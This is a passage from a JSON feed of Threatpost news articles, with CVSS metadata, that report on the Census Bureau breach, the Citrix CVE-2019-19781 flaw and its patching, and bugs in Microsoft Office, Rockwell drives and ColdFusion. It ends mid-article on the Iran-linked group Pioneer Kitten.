\u201cHowever, the attacker\u2019s attempts to maintain access to the system by creating a backdoor into the affected servers were unsuccessful.\u201d\n\nAttackers were able to make unauthorized changes to the remote-access servers, including the creation of new user accounts, investigators reported. However, the bureau\u2019s firewalls blocked the attacker\u2019s attempts to establish a backdoor to communicate with the attacker\u2019s external command and control infrastructure.\n\n## **Other Mistakes**\n\nAnother security misstep the bureau took that could have mitigated the attack before it even happened was that it was not conducting vulnerability scanning of the remote-access servers as per federal standards and Commerce Department policy, according to the OIG.\n\n\u201cWe found that the bureau vulnerability scanning team maintained a list of devices to be scanned,\u201d investigators wrote. \u201cHowever, the remote-access servers were not included on the list, and were therefore not scanned. This occurred because the system and vulnerability scanning teams had not coordinated the transfer of system credentials required for credentialed scanning.\u201d\n\nThe bureau also made mistakes after the attack by not discovering nor reporting the incident in a timely manner, the OIG found.\n\nIT administrators were not aware that servers were compromised until Jan. 28, more than two weeks after the attack, because the bureau was not using a a security information and event management tool (SIEM) to proactively alert incident responders of suspicious network traffic, investigators found.\n", "cvss3": {"exploitabilityScore": 3.9, "cvssV3": {"baseSeverity": "CRITICAL", "confidentialityImpact": "HIGH", "attackComplexity": "LOW", "scope": "UNCHANGED", "attackVector": "NETWORK", "availabilityImpact": "HIGH", "integrityImpact": "HIGH", "baseScore": 9.8, "privilegesRequired": "NONE", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H", "userInteraction": "NONE", "version": "3.1"}, "impactScore": 5.9}, "published": "2021-08-19T14:35:49", "type": "threatpost", "title": "Postmortem on U.S. Census Hack Exposes Cybersecurity Failures", "bulletinFamily": "info", "cvss2": {"severity": "HIGH", "exploitabilityScore": 10.0, "obtainAllPrivilege": false, "userInteractionRequired": false, "obtainOtherPrivilege": false, "cvssV2": {"accessComplexity": "LOW", "confidentialityImpact": "PARTIAL", "availabilityImpact": "PARTIAL", "integrityImpact": "PARTIAL", "baseScore": 7.5, "vectorString": "AV:N/AC:L/Au:N/C:P/I:P/A:P", "version": "2.0", "accessVector": "NETWORK", "authentication": "NONE"}, "acInsufInfo": false, "impactScore": 6.4, "obtainUserPrivilege": false}, "cvelist": ["CVE-2019-19781"], "modified": "2021-08-19T14:35:49", "id": "THREATPOST:816C2C5C3414F66AD1638248B7321FA1", "href": "https://threatpost.com/postmortem-on-u-s-census-hack-exposes-cybersecurity-failures/168814/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-02-08T11:40:52", "description": "SAN FRANCISCO \u2013 A previously unknown bug in Microsoft Office has been spotted being actively exploited in the wild; it can be used to bypass security solutions and sandboxes, according to findings released at the RSA Conference 2019.\n\nThe bug exists in the OLE file format and the way it\u2019s handled in Microsoft Word, said researchers from Mimecast. They noted that the OLE32.dll library incorrectly handles integer overflows.\n\nMicrosoft told the researchers that patching the problem is on the back burner.\n\nThe flaw allows attackers to hide exploits in weaponized Word documents in a way that won\u2019t trigger most antivirus solutions, the researchers said. In a recent spam campaign observed by Mimecast, attached Word attachments contained a hidden exploit for an older vulnerability in Microsoft Equation Editor (CVE-2017-11882). On unpatched systems, the exploit unfolded to drop a new variant of Java JACKSBOT, a remote access backdoor that infects its target only if Java is installed.\n\nJACKSBOT is capable of taking complete control of the compromised system. It has full-service espionage capabilities, including the ability to collect keystrokes; steal cached passwords and grab data from web forms; take screenshots; take pictures and record video from a webcam; record sound from the microphone; transfer files; collect general system and user information; steal keys for cryptocurrency wallets; manage SMS for Android devices; and steal VPN certificates.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThe thing that stands out for me is that the attackers behind this were keen on using the Equation exploit, probably because they found it more reliable than others, and they then worked out on a bypass to allow this go through undetected,\u201d Meni Farjon, chief scientist for advanced threat detection at Mimecast, told Threatpost. \u201cThis process of chaining these two, a code-execution exploit and a flaw which leads to a bypass is somewhat unique and we don\u2019t see many of these in data-format exploits.\u201d\n\n## The Flaw in Depth\n\nAn Object Linking and Embedding (OLE) Compound File essentially acts as an underlying file system for information and objects present in a Microsoft Word document. It contains streams of data that are treated like individual files embedded within the OLE file itself. Each stream has a name (for example, the top-level stream of a document is straightforwardly named \u201cWordDocument). Streams can also contain information on macros in the document and the metadata of a document (i.e., title, author, creation date, etc.).\n\nMimecast said that according to the format specifications for the Compound File Binary File Format, the OLE stream header contains a table called DIFAT, which is made up of an array of numbers that includes section IDs and some special numbers \u2013 it\u2019s here that the problem resides.\n\n\u201cTo access the sector N in the table, it\u2019s offset computed using the following formula: sector size * (sector ID + 1), when sector ID is DIFAT[N],\u201d the researchers explained in findings. \u201cIt seems that when a big sector ID exists, [this formula] leads to an integer-overflow that results in a relatively small offset. Because the result is more than 32 bits (integer overflow), only the lowest 32 bits will be the product when the code above performs the calculation. In other words, the calculated offset will be 0x200 = 512.\u201d\n\nThe system sees an impossible offset, according to the researchers; this can lead it to crash or, at the very least, ignore the section, including any exploit that may be hiding there.\n\n\u201cThis behavior is not documented by Microsoft, but it can confuse high-level parsers, which will not notice the overflow,\u201d Mimecast said.\n\n## In the Wild\n\nMimecast researchers said that they\u2019ve seen several attacks in the last few months that chain together the CVE-2017-11882 exploit with the OLE flaw, which has been successful, they said, in amplifying the attack to make it go undetected.\n\n\u201cOur systems were able to spot an attacker group, which seems to originate from Serbia, using specially crafted Microsoft Word documents\u2026in a way which caused the attacks to circumvent many security solutions designed to protect data from infestation,\u201d Mimecast said. The firm didn\u2019t specify which security solutions they\u2019re referring to.\n\n\u201c[With] this chaining of the older exploit with this integer overflow, Microsoft Office Word mishandles this error. It ignores the higher bytes of the OLE sector ID, loading the malicious object ([CVE-2017-11882](<https://nvd.nist.gov/vuln/detail/CVE-2017-11882>)) into memory while not following the correct guidelines,\u201d the researchers said.\n\nFarjon told Threatpost that although the newly found issue is being used in the wild, \u201cexploiting this is not an easy task, as it requires deep format understanding.\u201d It\u2019s the difficulty in execution that is likely behind Microsoft\u2019s decision to not immediately patch the problem, he said.\n\n## Microsoft Response\n\nDespite evidence that the flaw is being actively exploited to great effect in the wild, the Microsoft Security Response Center told Mimecast that it will not be fixing OLE with a security patch anytime soon, because the issue by itself does not result in memory corruption and thus doesn\u2019t meet the security bar for an immediate fix.\n\n\u201cWhat Microsoft said is that they won\u2019t be fixing it right now, but perhaps they will on a later undefined date,\u201d Farjon told Threatpost.\n\nHe added, \u201cThey said it is an unintended behavior, but at the same time that it is not important enough to fix right now. Realistically, Microsoft needs to prioritize their work on patches, so their decision makes sense. That being said, it\u2019s up to security professionals to make sure their systems are as up to date as possible and that they are leveraging the threat intelligence they need to better manage today\u2019s evolving threats.\u201d\n\nThe researcher also offered a bottom-line assessment: \u201cAnalyzing all possible outcomes of such flaw is a tough task,\u201d he said. \u201cMimecast worked with the Microsoft Security Response Center and they did analyze all possible outcomes, and came to the conclusion that it didn\u2019t result in memory corruption. So, while it may not be severe, having another tool for attackers to bypass security solutions is not a good thing.\u201d\n\nThreatpost reached out to the computing giant for comments on the findings, and received a short statement: _\u201c_The bug submitted did not meet the severity bar for servicing via a security update,\u201d said a Microsoft spokesperson.\n\n**_Follow all of Threatpost\u2019s RSA Conference 2019 coverage by visiting our [special coverage section](<https://threatpost.com/microsite/rsa-conference-2019-show-coverage/>)._**\n", "cvss3": {}, "published": "2019-03-05T11:00:03", "type": "threatpost", "title": "RSAC 2019: Microsoft Zero-Day Allows Exploits to Sneak Past Sandboxes", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2017-11882", "CVE-2019-19781"], "modified": "2019-03-05T11:00:03", "id": "THREATPOST:93F1D3DD89A41A41475737BF84F8146C", "href": "https://threatpost.com/zero-day-exploit-microsoft/142327/", "cvss": {"score": 9.3, "vector": "AV:N/AC:M/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-14T22:31:10", "description": "About one in five of the 80,000 companies affected by a critical bug in the Citrix Application Delivery Controller (ADC) and Citrix Gateway are still at risk from a trivial attack on their internal operations.\n\nIf exploited, the flaw could allow unauthenticated attackers to gain remote access to a company\u2019s local network and carry out arbitrary code-execution. Researchers told Threatpost that other attacks are also possible, including denial-of-service (DoS) campaigns, data theft, lateral infiltration to other parts of the corporate infrastructure, and phishing.\n\nAccording to an assessment from Positive Technologies, which disclosed the software vulnerability in December (tracked as [CVE-2019-19781](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>)), 19 percent of vulnerable organizations in 158 countries have yet to patch. The U.S. originally accounted for 38 percent of all vulnerable organizations; about 21 percent of those are still running vulnerable instances of the products as of this week, PT said.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThe Citrix products (formerly the NetScaler ADC and Gateway) are used for application-aware traffic management and secure remote access, respectively.\n\n\u201cPatching this bug should be an urgent priority for all remaining companies affected,\u201d said Mikhail Klyuchnikov, an expert at PT who discovered the flaw, speaking to Threatpost. \u201cThe critical vulnerability allows attackers to obtain direct access to the company\u2019s local network from the internet. This attack does not require access to any accounts, and therefore can be performed by any external attacker.\u201d\n\nHe added, \u201cThe flaw is really easy to exploit. It\u2019s also very reliable.\u201d[](<https://media.threatpost.com/wp-content/uploads/sites/103/2020/02/07094404/PT_Citrix_NewMap-EN.jpg>)\n\nSince Citrix is mainly used for giving remote access to applications in companies\u2019 internal networks, Klyuchnikov told Threatpost that a compromise could easily used as a foothold to move laterally across a victim organization.\n\n\u201cThe critical information about applications accessible by Citrix can be leaked,\u201d he explained. \u201cThat could possibly include information (and possibly credentials) about internal web applications, corporate applications, remote desktops and other applications available through the Citrix Gateway.\u201d\n\nAttackers also could gain the ability to read configuration files, he said; these contain sensitive information like user credentials, yet more information about the internal network and credentials for internal services (LDAP, RADIUS and so on).\n\n\u201cDepending on system settings, attackers can get administrative credentials for the Citrix Gateway, credentials (login, password, etc.) of company employees and credentials of other services used in Citrix Gateway [from the configuration files],\u201d he said.\n\nAdding insult to injury, various other kinds of attacks are possible as well.\n\n\u201c[An attacker] can conduct DoS attacks against Citrix Gateway, just deleting its critical files,\u201d the researcher explained to Threatpost. \u201cIt can lead to unavailability of the login page of Citrix application. Thus, no one (e.g. company employees) can get access into internal network using Citrix gateway. In other words, the Citrix gateway application will cease to do its main task for which it was installed.\u201d\n\nIt\u2019s also possible to conduct phishing attacks. For example, a hacker can change the login page so that the entered username and password is obtained by the attacker as clear text.\n\nAnd then there\u2019s the remote code-execution danger: \u201cAn attacker can use a compromised application as part of a botnet or for cryptocurrency mining. And of course, it can place malicious files in this application,\u201d Klyuchnikov noted.\n\nIn-the-wild attacks could be imminent: On January 8, a researcher [released an exploit](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) that allows a potential attacker to perform automated attacks. Others followed.\n\nhttps://twitter.com/GossiTheDog/status/1214892555306971138\n\nCitrix did not disclose many details about the vulnerability [in its security advisory](<https://support.citrix.com/article/CTX267027>), however, Qualys researchers last month said that the mitigation steps offered by the vendor suggest the flaw stems from the VPN handler failing to sufficiently sanitize user-supplied inputs.\n\nAccording to PT, the countries with the greatest numbers of vulnerable companies are led by Brazil (43 percent of all companies where the vulnerability was originally detected), China (39 percent), Russia (35 percent), France (34 percent), Italy (33 percent) and Spain (25 percent). The USA, Great Britain, and Australia each stand at 21 percent of companies still using vulnerable devices without any protection measures.\n\nLast month, Citrix [issued patches](<https://support.citrix.com/article/CTX267027>) for several product versions to fix the issue, [ahead of schedule](<https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/>).\n\n\u201cConsidering how long this vulnerability has been around (since the first vulnerable version of the software was released in 2014), detecting potential exploitation of this vulnerability (and, therefore, infrastructure compromise) retrospectively becomes just as important [as patching],\u201d Klyuchnikov said.\n\nHe added, \u201cI think it\u2019s easy to apply the patch, as there is already a regular update for the hardware that fixes the vulnerability. Nothing should get in the way, as there is a full update from Citrix.\u201d\n\n**Learn how Operational Technology and Information Technology systems are merging and changing security playbooks in this free Threatpost Webinar. Join us **[**Wednesday, Feb. 19 at 2 p.m. ET**](<https://attendee.gotowebinar.com/register/2652328115100076035?source=art>)** when a panel of OT and IT security experts will discuss how this growing trend is shaping security approaches for IoT and 5G rollouts. This webinar is for security and DevOps engineers, IoT edge developers and security executives.**\n", "cvss3": {}, "published": "2020-02-07T15:32:52", "type": "threatpost", "title": "Critical Citrix RCE Flaw Still Threatens 1,000s of Corporate LANs", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-5135"], "modified": "2020-02-07T15:32:52", "id": "THREATPOST:B53DDA5AD9C6530F631391E064A0D4FA", "href": "https://threatpost.com/critical-citrix-rce-flaw-corporate-lans/152677/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-10-15T22:25:54", "description": "Citrix has quickened its rollout of patches for a critical vulnerability ([CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>)) in the Citrix Application Delivery Controller (ADC) and Citrix Gateway products, on the heels of recent proof-of-concept exploits and skyrocketing exploitation attempts.\n\nSeveral versions of the products still remain unpatched \u2013 but they will be getting a patch sooner than they were slated to. While Citrix originally said some versions would get a patch Jan. 31, it has now also shortened that timeframe, saying fixes are forthcoming on Jan 24 (Friday of this week).\n\nAlso, Citrix patched Citrix ADC and Citrix Gateway version 11.1 (with firmware update Refresh Build 11.1.63.15) and 12 (firmware update Refresh Build 12.0.63.13) on Jan. 19 \u2014 a day earlier than it had expected to.\n\n[](<https://register.gotowebinar.com/register/7679724086205178371?source=art>)\n\nThe versions that Citrix expects to patch on Jan. 24 include Citrix ADC and Citrix Gateway version 10.5 (with Refresh Build 10.5.70.x), 12.1 (Refresh Build 12.1.55.x), 13 (Refresh Build 13.0.47.x), as well as Citrix SD-WAN WANOP Release 10.2.6 (with Citrix ADC Release 11.1.51.615) and Citrix SD-WAN WANOP Release 11.0.3 (Citrix ADC Release 11.1.51.615).\n\nWhen it was originally disclosed [in December](<https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/>), the vulnerability did not have a patch, and Citrix [announced](<https://support.citrix.com/article/CTX267027>) it would not be issuing fixes for the gateway products and ADC (formerly called NetScaler ADC), a purpose-built networking appliance meant to improve the performance and security of applications delivered over the web, until \u201clate January.\u201d\n\nHowever, in the following weeks after disclosure, various researchers published public [proof-of-concept (PoC) exploit code](<https://threatpost.com/unpatched-citrix-flaw-exploits/151748/>) for the flaw. At the same time, [researchers warned of active exploitations](<https://blog.rapid7.com/2020/01/17/active-exploitation-of-citrix-netscaler-cve-2019-19781-what-you-need-to-know/>), and [mass scanning activity](<https://twitter.com/bad_packets/status/1217234838446460929>), for the vulnerable Citrix products.\n\n> CVE-2019-19781 mass scanning activity from these hosts is still ongoing. <https://t.co/pK4Qus1eAo>\n> \n> \u2014 Bad Packets Report (@bad_packets) [January 14, 2020](<https://twitter.com/bad_packets/status/1217234838446460929?ref_src=twsrc%5Etfw>)\n\nIn one unique case of exploitation, [researchers at FireEye said last week](<https://www.fireeye.com/blog/threat-research/2020/01/vigilante-deploying-mitigation-for-citrix-netscaler-vulnerability-while-maintaining-backdoor.html>) that a threat actor was targeting vulnerable Citrix devices with a previously-unseen payload, which they coined as \u201cNOTROBIN.\u201d\n\nResearchers said that the attack group behind the payload appeared to be scanning for vulnerable ADC devices and deploying their own malware on the devices, which would then delete any previously-installed malware. Researchers suspect that the threat actors may be trying to maintain their own backdoor access in compromised devices.\n\n\u201cUpon gaining access to a vulnerable NetScaler [ADC] device, this actor cleans up known malware and deploys NOTROBIN to block subsequent exploitation attempts! But all is not as it seems, as NOTROBIN maintains backdoor access for those who know a secret passphrase. FireEye believes that this actor may be quietly collecting access to NetScaler devices for a subsequent campaign,\u201d researchers said.\n\nWith patches now being available or soon to be rolled out, security experts urge customers to update as soon as possible.\n\n\u201cCISA strongly recommends users and administrators update Citrix ADC, Citrix Gateway, and Citrix SD-WAN WANOP once the appropriate firmware updates become available,\u201d according to a Monday CISA alert on the patches. \u201cThe fixed builds can be downloaded from Citrix Downloads pages for [Citrix ADC](<https://www.citrix.com/downloads/citrix-adc/>) and [Citrix Gateway](<https://www.citrix.com/downloads/citrix-gateway/>). Until the appropriate update is accessible, users and administrators should apply Citrix\u2019s interim mitigation steps for CVE-2019-19781.\u201d\n\n**_Concerned about mobile security? _**[**Check out our free Threatpost webinar,**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>) **_Top 8 Best Practices for Mobile App Security, on Jan. 22 at 2 p.m. ET. _**_**Poorly secured apps can lead to malware, data breaches and legal/regulatory trouble. Join our experts from **_**_Secureworks and White Ops to discuss the secrets of building a secure mobile strategy, one app at a time. _**[**_Click here to register_**](<https://attendee.gotowebinar.com/register/7679724086205178371?source=art>)**_._**\n\n**Share this article:**\n\n * [Editor's Picks](<https://threatpost.com/category/editors-picks/>)\n * [Hacks](<https://threatpost.com/category/hacks/>)\n * [Vulnerabilities](<https://threatpost.com/category/vulnerabilities/>)\n", "cvss3": {}, "published": "2020-01-21T17:19:28", "type": "threatpost", "title": "Citrix Accelerates Patch Rollout For Critical RCE Flaw", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-5135"], "modified": "2020-01-21T17:19:28", "id": "THREATPOST:AB2F6BF7F6EC16383E737E091BA9385B", "href": "https://threatpost.com/citrix-patch-rollout-critical-rce-flaw/152041/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-03-08T12:00:56", "description": "A critical denial-of-service (DoS) vulnerability has been found in a Rockwell Automation industrial drive, which is a logic-controlled mechanical component used in industrial systems to manage industrial motors.\n\nThe vulnerability was identified in Rockwell Automation\u2019s PowerFlex 525 drive component, which is used in applications such as conveyors, fans, pumps and mixers. The drive offers a wide range of motor and software controls from regulating volts per hertz and software used to manage EtherNet/IP networks.\n\nThe flaw, CVE-2018-19282, could be exploited to manipulate the drive\u2019s physical process and or stop it, according to researchers with Applied Risk who found it. The vulnerability has a CVSS score of 9.1, making it critical, according to researchers.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\n\u201cThis finding allows an attacker to crash the Common Industrial Protocol (CIP) in a way that it does not accept any new connection,\u201d Nicholas Merle, with Applied Risk, [wrote in a Thursday analysis](<https://applied-risk.com/application/files/4215/5385/2294/Advisory_AR2019004_Rockwell_Powerflex_525_Denial_of_Service.pdf>) (PDF). \u201cThe current connections however, are kept active, giving attackers complete control over the device.\u201d\n\nThe vulnerability is critical because it gives \u201ccomplete access to the device and DOS for the other users,\u201d an Applied Risk spokesperson told Threatpost. \u201cSo availability and integrity are impacted, with no confidentiality impact. Those are also the most important factors in OT environment.\u201d** **\n\nFor a variable frequency drive, which controls the speed of motors in a live production environment, that kind of shutdown could have a serious impact. There are no known public exploits that target this vulnerability, researchers said. Impacted were versions 5.001 and older for the software.\n\nTo exploit the vulnerability, a bad actor could send a precise sequence of packets effectively crashing the Common Industrial Protocol (the industrial protocol for industrial automation applications) network stack. An Applied Risk spokesperson told Threatpost that an attacker could be remote and wouldn\u2019t need to be authenticated.\n\n[](<https://media.threatpost.com/wp-content/uploads/sites/103/2019/03/29091619/drive.png>)\n\nRockwell Automation Powerflex 525\n\nThis creates an error in the control and configuration software, which crashes. After it crashes, it is not possible to initiate a new connection to the device, effectively forbidding any legitimate user to recover control, researchers said.\n\nIf the attacker maintains the connection used to send the payload open, he can continue sending commands as long as the connection is not interrupted, and the only way to recover access to the device is to do a power reset, researchers said.** **\n\n\u201cSending a specific UDP packet, a definite amount of time corrupts the\u2026 daemon forbidding any new connection to be initiated and disconnecting the configuration and control software from Rockwell Automation,\u201d said researchers.\n\nThe flaw was first discovered July 30, 2018 and has since been patched. Rockwell Automation did not respond to a request for comment from Threatpost.\n\nVulnerabilities are particularly insidious when they impact industrial control systems because of the high-risk implications. According to a [U.S. Department of Homeland Security bulletin](<https://ics-cert.us-cert.gov/advisories/ICSA-19-087-01>) the bug ([CVE-2018-19282)](<http://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2018-19282>) the vulnerability is a threat to U.S. critical infrastructure. Downtime for these systems could pose dire monetary \u2013 and in some cases even life-threatening \u2013 risks.\n\nRockwell Automation isn\u2019t the only industrial control system manufacturer facing security woes. In [February](<https://threatpost.com/siemens-critical-remote-code-execution/141768/>), Siemens released 16 security advisories for various industrial control and utility products, including a warning for a critical flaw in the WibuKey digital rights management (DRM) solution that affects the SICAM 230 process control system.\n\nAnd in August, [Schneider Electric](<https://threatpost.com/high-severity-flaws-patched-in-schneider-electric-products/137034/>) released fixes for a slew of vulnerabilities that can be exploited remotely in two of its industrial control system products.\n", "cvss3": {}, "published": "2019-03-29T14:13:54", "type": "threatpost", "title": "Critical Rockwell Automation Bug in Drive Component Puts IIoT Plants at Risk", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2018-19282", "CVE-2019-19781"], "modified": "2019-03-29T14:13:54", "id": "THREATPOST:B956AABD7A9591A8F25851E15000B618", "href": "https://threatpost.com/critical-rockwell-automation-bug-in-drive-component-puts-iiot-plants-at-risk/143258/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-02-08T11:40:59", "description": "Adobe has issued an emergency patch for a critical vulnerability in its ColdFusion service that is being exploited in the wild.\n\nThe vulnerability, CVE-2019-7816, exists in Adobe\u2019s commercial rapid web application development platform, ColdFusion. The ColdFusion vulnerability is a file upload restriction bypass which could enable arbitrary code execution.\n\n\u201cAdobe has released security updates for ColdFusion versions 2018, 2016 and 11,\u201d according to the company\u2019s [security update](<https://helpx.adobe.com/security/products/coldfusion/apsb19-14.html>). \u201cThese updates resolve a critical vulnerability that could lead to arbitrary code execution in the context of the running ColdFusion service.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nThis attack requires the ability to upload executable code to a web-accessible directory, and then execute that code via an HTTP request, so restricting requests to directories where uploaded files are stored will mitigate the attack, Adobe said.\n\nImpacted is ColdFusion 2018, update 2 and earlier; ColdFusion 2016, update 9 and earlier; and ColdFusion 11, update 17 and earlier versions. The security update has a priority 1 rating, meaning that it resolves vulnerabilities being targeted by exploits in the wild.\n\n\u201cAdobe recommends administrators install the update as soon as possible. (for example, within 72 hours),\u201d according to the company\u2019s priority update [page](<https://helpx.adobe.com/security/severity-ratings.html>).\n\nCharlie Arehart, Moshe Ruzin, Josh Ford, Jason Solarek, and Bridge Catalog Team were credited with discovering the vulnerability.\n\nOne of these researchers, Charlie Arehart, told Threatpost that he is still in discussions with Adobe PSIRT about what can be publicly released. In the meantime, no further details about the vulnerability or subsequent exploits have been released.\n\nThe emergency update comes a week after a separate [unscheduled Adobe update](<https://threatpost.com/adobe-re-patches-critical-acrobat-reader-flaw/142098/>), which fixed a critical zero-day vulnerability in Acrobat Reader. The zero-day vulnerability in Adobe Reader, disclosed by Alex Infuhr from cure53 in a Jan. 26 post, enabled bad actors to steal victims\u2019 hashed password values, known as \u201cNTLM hashes.\u201d\n", "cvss3": {}, "published": "2019-03-01T20:22:43", "type": "threatpost", "title": "Adobe Patches Critical ColdFusion Vulnerability With Active Exploit", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2019-7816"], "modified": "2019-03-01T20:22:43", "id": "THREATPOST:63D2355B6EF0B975846E034876BC66DF", "href": "https://threatpost.com/adobe-patches-critical-coldfusion-vulnerability-with-active-exploit/142391/", "cvss": {"score": 10.0, "vector": "AV:N/AC:L/Au:N/C:C/I:C/A:C"}}, {"lastseen": "2020-10-15T22:27:01", "description": "Digital workspace and enterprise networks vendor Citrix has announced a critical vulnerability in the Citrix Application Delivery Controller (ADC) and Citrix Gateway. If exploited, it could allow unauthenticated attackers to gain remote access to a company\u2019s local network and carry out arbitrary code execution.\n\nThe Citrix products (formerly the NetScaler ADC and Gateway) are used for application-aware traffic management and secure remote access, respectively, and are installed in at least 80,000 companies in 158 countries, according to Mikhail Klyuchnikov, a researcher at Positive Technologies. The U.S accounts for about 38 percent of vulnerable organizations.\n\n\u201cThis attack does not require access to any accounts, and therefore can be performed by any external attacker,\u201d he noted in research released on Tuesday. \u201cThis vulnerability allows any unauthorized attacker to not only access published applications, but also attack other resources of the company\u2019s internal network from the Citrix server.\u201d\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nWhile neither Citrix nor Positive Technologies released technical details on the bug ([CVE-2019-19781](<https://support.citrix.com/article/CTX267027>)), they said it affects all supported versions of the product, and all supported platforms, including Citrix ADC and Citrix Gateway 13.0, Citrix ADC and NetScaler Gateway 12.1, Citrix ADC and NetScaler Gateway 12.0, Citrix ADC and NetScaler Gateway 11.1, and also Citrix NetScaler ADC and NetScaler Gateway 10.5, according to the research.\n\n\u201cCitrix applications are widely used in corporate networks,\u201d said Dmitry Serebryannikov, director of security audit department at Positive Technologies, in a statement. \u201cThis includes their use for providing terminal access of employees to internal company applications from any device via the internet. Considering the high risk brought by the discovered vulnerability, and how widespread Citrix software is in the business community, we recommend information security professionals take immediate steps to mitigate the threat.\u201d\n\nCitrix released a [set of measures](<https://support.citrix.com/article/CTX267679>) to mitigate the vulnerability, including software updates, according to the researchers.\n\nThe vendor [made security news](<https://threatpost.com/citrix-confirms-password-spraying-heist/146641/>) earlier this year when cyberattackers used password-spraying techniques to make off with 6TB of internal documents and other data. The attackers intermittently accessed Citrix\u2019 infrastructure between October 13, 2018 and March 8, the company said, and the crooks \u201cprincipally stole business documents and files from a company shared network drive that has been used to store current and historical business documents, as well as a drive associated with a web-based tool used in our consulting practice.\u201d\n\nPassword-spraying is a related type of attack to brute-forcing and credential-stuffing. Instead of trying a large number of passwords against a single account, in password-spraying the adversary will try a single commonly used password (such as \u201c123456\u201d) against many accounts. If unsuccessful, a second password will be tried, and so on until accounts are cracked. This \u201clow and slow\u201d method is used to avoid account lock-outs stemming from too many failed login attempts.\n\nIn the case of Citrix, which has always specialized in federated architectures, the FBI surmised in March that the attackers likely gained a foothold with limited access, and then worked to circumvent additional layers of security. That was backed up by evidence that the attackers were trying to pivot to other areas of the infrastructure.\n", "cvss3": {}, "published": "2019-12-26T19:17:55", "type": "threatpost", "title": "Critical Citrix Bug Puts 80,000 Corporate LANs at Risk", "bulletinFamily": "info", "cvss2": {}, "cvelist": ["CVE-2019-19781", "CVE-2020-5135"], "modified": "2019-12-26T19:17:55", "id": "THREATPOST:9688E067E5F287042D4EBC46107C66AF", "href": "https://threatpost.com/critical-citrix-bug-80000-corporate-lans-at-risk/151444/", "cvss": {"score": 7.5, "vector": "AV:N/AC:L/Au:N/C:P/I:P/A:P"}}, {"lastseen": "2020-09-01T21:47:35", "description": "An APT group known as Pioneer Kitten, linked to Iran, has been spotted selling corporate-network credentials on hacker forums. The credentials would let other cybercriminal groups and APTs perform cyberespionage and other nefarious cyber-activity.\n\nPioneer Kitten is a hacker group that specializes in infiltrating corporate networks using open-source tools to compromise remote external services. Researchers observed an actor associated with the group advertising access to compromised networks on an underground forum in July, according to a [blog post](<https://www.crowdstrike.com/blog/who-is-pioneer-kitten/>) Monday from Alex Orleans, a senior intelligence analyst at CrowdStrike Intelligence.\n\nPioneer Kitten\u2019s work is related to other groups either sponsored or run by the Iranian government, which [were previously seen](<https://www.zdnet.com/article/iranian-hackers-have-been-hacking-vpn-servers-to-plant-backdoors-in-companies-around-the-world/>) hacking VPNs and planting backdoors in companies around the world.\n\n[](<https://threatpost.com/newsletter-sign/>)\n\nIndeed, the credential sales on hacker forums seem to suggest \u201ca potential attempt at revenue stream diversification\u201d to complement \u201cits targeted intrusions in support of the Iranian government,\u201d Orleans wrote. However, Pioneer Kitten, which has been around since 2017, does not appear to be directly operated by the Iranian government but is rather sympathetic to the regime and likely a private contractor, Orleans noted.\n\nPioneer Kitten\u2019s chief mode of operations is its reliance on SSH tunneling, using open-source tools such as Ngrok and a custom tool called SSHMinion, he wrote. The group uses these tools to communicate \u201cwith implants and hands-on-keyboard activity via Remote Desktop Protocol (RDP)\u201d to exploit vulnerabilities in VPNs and network appliances to do its dirty work, Orleans explained.\n\nCrowdStrike observed the group leveraging several critical exploits in particular \u2014 [CVE-2019-11510](<https://nvd.nist.gov/vuln/detail/CVE-2019-11510>), [CVE-2019-19781](<https://nvd.nist.gov/vuln/detail/CVE-2019-19781>), and most recently, [CVE-2020-5902](<https://nvd.nist.gov/vuln/detail/CVE-2020-5902>). All three are exploits affect VPNs and networking equipment, including Pulse Secure \u201cConnect\u201d enterprise VPNs, Citrix servers and network gateways, and F5 Networks BIG-IP load balancers, respectively.\n\nPioneer Kitten\u2019s targets are North American and Israeli organizations in various sectors that represent some type of intelligence interest to the Iranian government, according to CrowdStrike. Target sectors run the gamut and include technology, government, defense, healthcare, aviation, media, academic, engineering, consulting and professional services, chemical, manufacturing, financial services, insurance and retail.\n\nWhile not as well-known or widespread in its activity as other nation-state threats such as China and Russia, Iran has emerged in recent years as a formidable cyber-enemy, amassing a number of APTs to mount attacks on its political adversaries.\n\nOf these, Charming Kitten\u2014which also goes by the names APT35, Ajax or Phosphorus\u2014appears to be the most active and dangerous, while others bearing similar names seem to be spin-offs or support groups. Iran overall appears to be ramping up its cyber-activity lately. CrowdStrike\u2019s report actually comes on the heels of news that Charming Kitten also has [resurfaced recently. ](<https://threatpost.com/charming-kitten-whatsapp-linkedin-effort/158813/>)A new campaign is using LinkedIn and WhatsApp to convince targets \u2014 including Israeli university scholars and U.S. government employees \u2014 to click on a malicious link that can steal credentials.\n\nOperating since 2014, Charming Kitten is known for politically motivated and socially engineered attacks, and often uses phishing as its attack of choice. Targets of the APT, which uses clever social engineering to snare victims, have been [email 